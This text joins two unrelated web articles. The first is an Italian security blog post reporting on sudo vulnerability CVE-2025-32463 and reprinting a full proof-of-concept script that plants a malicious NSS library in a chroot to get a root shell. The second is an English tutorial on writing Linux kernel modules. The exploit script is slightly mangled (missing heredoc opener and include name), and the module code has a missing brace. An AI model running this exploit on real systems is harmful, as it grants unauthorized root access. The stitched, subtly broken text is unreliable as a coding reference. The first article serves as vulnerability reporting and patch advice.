Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463
Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una grave vulnerabilità scoperta in SUDO (CVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot
.
L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot
.
Test sul campo: la parola a Manuel Roccon del gruppo HackerHood
Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.
Il team ha quindi testato il Proof of Concept pubblicato da Stratascale Exploit CVE-2025-32463 – sudo chroot. Il risultato? Privilege escalation ottenuta con successo.
youtube.com/embed/-GxiqS-f7Yg?…
Dettagli dell’exploit
L’exploit sfrutta una condizione in cui sudo
esegue un comando in un ambiente chroot
, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.
L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh
di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo
che consente a un utente non privilegiato di ottenere privilegi di root quando sudo
viene eseguito con l’opzione -R
(che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*
), compila una libreria condivisa malevola (libnss_/woot1337.so.2
) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash
), e forza sudo
a caricarla come libreria NSS nel contesto chroot
.
La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot
, dove sudo
carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf
per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/
, che funge da root virtuale per il chroot. Quando sudo -R woot woot
viene eseguito, la libreria woot1337.so.2
viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor))
, ottenendo così l’escalation dei privilegi.
I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:
- L’abilitazione dell’uso di
chroot
tramitesudo
. - L’assenza di alcune restrizioni nei profili di sicurezza (come AppArmor o SELinux).
- Una configurazione permissiva di
sudoers
.
Di seguito le semplici righe
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c
#include
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
Conclusioni
Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo
e chroot
è comune, i rischi aumentano considerevolmente.
Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.
La sicurezza parte dalla consapevolezza. Continuate a seguirci per analisi tecniche, PoC testati e segnalazioni aggiornate.
L'articolo Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463 proviene da il blog della sicurezza informatica.
Linux Fu: Kernel Modules Have Privileges
I did something recently I haven’t done in a long time: I recompiled the Linux kernel. There was a time when this was a common occurrence. You might want a feature that the default kernel didn’t support, or you might have an odd piece of hardware. But these days, in almost all the cases where you need something like this, you’ll use loadable kernel modules (LKM) instead. These are modules that the kernel can load and unload at run time, which means you can add that new device or strange file system without having to rebuild or even restart the kernel.
Normally, when you write programs for Linux, they don’t have any special permissions. You typically can’t do direct port I/O, for example, or arbitrarily access memory. The kernel, however, including modules, has no such restriction. That can make debugging modules tricky because you can easily bring the system to its knees. If possible, you might think about developing on a virtual machine until you have what you want. That way, an errant module just brings down your virtual machine.
History
Some form of module support has been around since Linux 1.2. However, modern kernels can be built to include support for things or support them as modules. For example, you probably don’t want to put drivers for every single known video card in your kernel. But it is perfectly fine to build dozens or hundreds of modules you might need and then load the one you need at run time.
LKMs are at the heart of device drivers, file system drivers, and network drivers. In addition, modules can add new system calls, override existing system calls, add TTY line disciplines, and handle how executables run.
In Use
If you want to know what modules you have loaded, that’s the lsmod
command. You’ll see that some modules depend on other modules and some don’t. There are two ways to load modules: insmod
and modprobe
. The insmod command simply tries to load a module. The modprobe
command tries to determine if the module it is loading needs other modules and picks them up from a known location.
You can also remove modules with rmmod
assuming they aren’t in use. Of course, adding and removing modules requires root access. You can usually run lsmod
as a normal user if you like. You might also be interested in depmod
to determine dependencies, and modinfo
which shows information about modules.
Writing a Module
It is actually quite easy to write your own module. In fact, it is so simple that the first example I want to look at is a little more complex than necessary.
This simple module can load and unload. It leaves a message in the system messages (use dmesg
, for example) to tell you it is there. In addition, it allows you to specify a key
(just an arbitrary integer) when you load it. That number will show up in the output data. Here’s the code:
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>
MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.
static int somedata __initdata=0xbeef; // this is just some static variable available only at init
static int key=0xAA; // you can override this using insmod
// Note 0644 means that the sysfs entry will be rw-r--r--
module_param(key,int,0644); // use module_param_named if you want different names internal vs external
MODULE_PARM_DESC(key,"An integer ID unique to this module");
static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday is in control (%x %x)\n",key,somedata);
return 0;
}
static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you (%x)!\n",key);
}
module_init(had_init);
module_exit(had_exit);</pre>
This isn’t hard to puzzle out. Most of it is include files and macros that give modinfo
something to print out. There are some variables: somedata
is just a set variable that is readable during initialization. The key
variable has a default but can be set using insmod
. What’s more, is because module_param specifies 0644 — an octal Linux permission — there will be an entry in the /sys/modules
directory that will let the root set or read the value of the key.
At the end, there are two calls that register what happens when the module loads and unloads. The rest of the code is just something to print some info when those events happen.
I printed data in two ways: the traditional printk
and using the pr_info
macro which uses printk
underneath, anyway. You should probably pick one and stick with it. I’d normally just use pr_info
.
Building the modules is simple assuming you have the entire build environment and the headers for the kernel. Here’s a simple makefile (don’t forget to use tabs in your makefile):
<pre>obj-m += hadmod1.o
PWD := $(CURDIR) # not needed in most cases, but useful if using sudo
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean</pre>
Once you build things, you should have a .ko file (like hadmod.ko). That’s the module. Try a few things:
- sudo insmod hadmod.ko # load the module
- sudo dmesg # see the module output
- cat /sys/modules/hadmodule/key # see the key (you can set it, too, if you are root)
- sudo rmmod hadmod.ko # unload the module
- sudo insmod hadmod.ko key=128 # set key this time and repeat the other steps
That’s It?
That is it. Of course, the real details lie in how you interact with the kernel or hardware devices, but that’s up to you. Just to give a slightly meatier example, I made a second version of the module that adds /proc/jollywrencher
to the /proc filesystem
. Here’s the code:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h> // Module metadata
#include <linux/version.h>
MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM1");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.
static char logo[]=
" \n"\
" \n"\
" \n"\
" #@@@@@@ ,@@@@@@ \n"\
" &@@@@@* &@@@@@, \n"\
" @@@@@@% @@@@@@# \n"\
" @@ .@@@@@@@@@ .@@@@@@@@@ .@# \n"\
" &@@@& /@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@* \n"\
" @@@@@@@@@@@@@@@@@@@@@# @@@@@@@@@@@@@@@@@@@@@, \n"\
" &@@@@@@@@@@@@@@@@@@@@@* ,@@@@@@@@@@@@% &@@@@@@@@@@@@@@@@@@@@@* \n"\
" ,*. @@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@& &@@@@@@@@@@# ** \n"\
" @@@@@@, &@@@@@@@@@@@@@@@@@@@@@@@@@, %@@@@@& \n"\
" ,@& /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@ \n"\
" &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* \n"\
" %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. \n"\
" @@@@@@ #@@@@@@@. /@@@@@@ \n"\
" /@@@@& @@@@@@. @@@@@ \n"\
" ,@@@@% (@@@@@@@@@@&* @@@@@ \n"\
" @@@@@# @@@@@@@@@@@@@@@@@@% @@@@@& \n"\
" /@@@@@@@@@@@@@@@, #@@@@@@@@@@@@@@@ \n"\
" @@ *@@@@@@@@@@@@@& ( @@@@@@@@@@@@@@ .@( \n"\
" %@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@% #@@@@@* \n"\
" (%&%((@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@% ,@@@@@@@@@@*#&/ \n"\
" @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@( @@@@@@@@@@@@@@@@@@@@@& \n"\
" @@@@@@@@@@@@@@@@@@@@@ @@@@@@*@@@@@@/%@@@@@& *@@@@@@@@@@@@@@@@@@@@# \n"\
" @@@@. @@@@@@@@@@@. .. . . (@@@@@@@@@@# /@@@* \n"\
" @, %@@@@@@@@ .@@@@@@@@. \n"\
" ,@@@@@( @@@@@@ \n"\
" *@@@@@@ (@@@@@@ \n"\
" @@@@@@, %@@@@@@ \n"\
" \n"\
" ";
static struct proc_dir_entry *proc_entry;
static ssize_t had_read(struct file *f, char __user * user_buffer, size_t count, loff_t * offset)
{
size_t len;
if (*offset>0) return 0; // no seeking, please!
copy_to_user(user_buffer,logo,len=strlen(logo)); // skipped error check
*offset=len;
return len;
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,6,0)
static struct proc_ops procop = // prior to Linux 5.6 you needed file_operations
{
.proc_read=had_read
};
#else
static struct file_operations procop =
{
.owner=THIS_MODULE,
.read=had_read
#endif
static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday<1>; is in control\n");
proc_entry=proc_create("jollywrencher",0644,NULL,&procop);
return 0;
}
static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you...\n");
proc_remove(proc_entry);
}
module_init(had_init);
module_exit(had_exit);
The only thing here is you have an extra function that you have to register and deregister with the kernel. However, that interface changed in Kernel 5.6, so the code tries to do the right thing. Until, of course, it gets changed again.
Once you load this module using insmod
, you can cat /proc/jollywrencher
to see your favorite web site’s logo.
Of course, this is a dead simple example, but it is enough to get you started. You can grab all the source code online. One great way to learn more is to find something similar to what you want to build and take it apart.
We don’t suggest it, but you can write an LKM in Scratch. If you really want to learn the kernel, maybe start at the beginning.